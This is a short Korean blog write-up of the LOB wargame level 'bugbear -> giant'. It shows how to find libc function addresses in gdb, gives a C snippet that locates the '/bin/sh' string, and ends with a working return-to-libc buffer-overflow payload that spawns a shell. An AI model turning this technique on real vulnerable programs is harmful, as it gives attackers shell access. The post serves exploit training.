ii4gsp

LOB - Level14 [bugbear -> giant] 본문

시스템 해킹/LOB

LOB - Level14 [bugbear -> giant]

ii4gsp 2020. 1. 23. 18:03

주석을 보면 RTL2라고 되어있다 RTL기법을 사용해야한다.

argv[1][44]에 입력된 값이 execve()함수의 주소와 같아야한다.

라이브러리의 주소를 구해주자

 

 

 

 

파일을 복사해주고 gdb로 열어 print명령어로 각 라이브러리의 주소를 구해주었다.

system()함수 주소 0x40058ae0

execve()함수 주소 0x400a9d48

exit()함수 주소 0x400391e0

system()함수의 주소를 이용해 "/bin/sh"의 주소도 구해주자.

 

 

 

 

#include <stdio.h>

int main()
{
    int system = 0x40058ae0;
    
    while(memcmp((void*)system, "/bin/sh", 8))
        system++;
        
    printf("%x\n", system);
}

"/bin/sh"의 주소를 구하는 소스코드이다.

실행해주도록 하자

 

 

 

 

"/bin/sh"의 주소는 0x400fbff9이다.

이제 필요한 요소들을 모두 구했으니 페이로드를 구성해보자

buffer + sfp + &execve() + &system() + &exit() + &"/bin/sh"

                                        [44byte]       [4byte]        [4byte]       [4byte]     [4byte]

 

 

 

 

\x0a가 \x00으로 인식하여 매개변수를 ""로 묶어 주어야 한다.

 

payload

./giant "$(python -c 'print "\x90" * 44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')"
Comments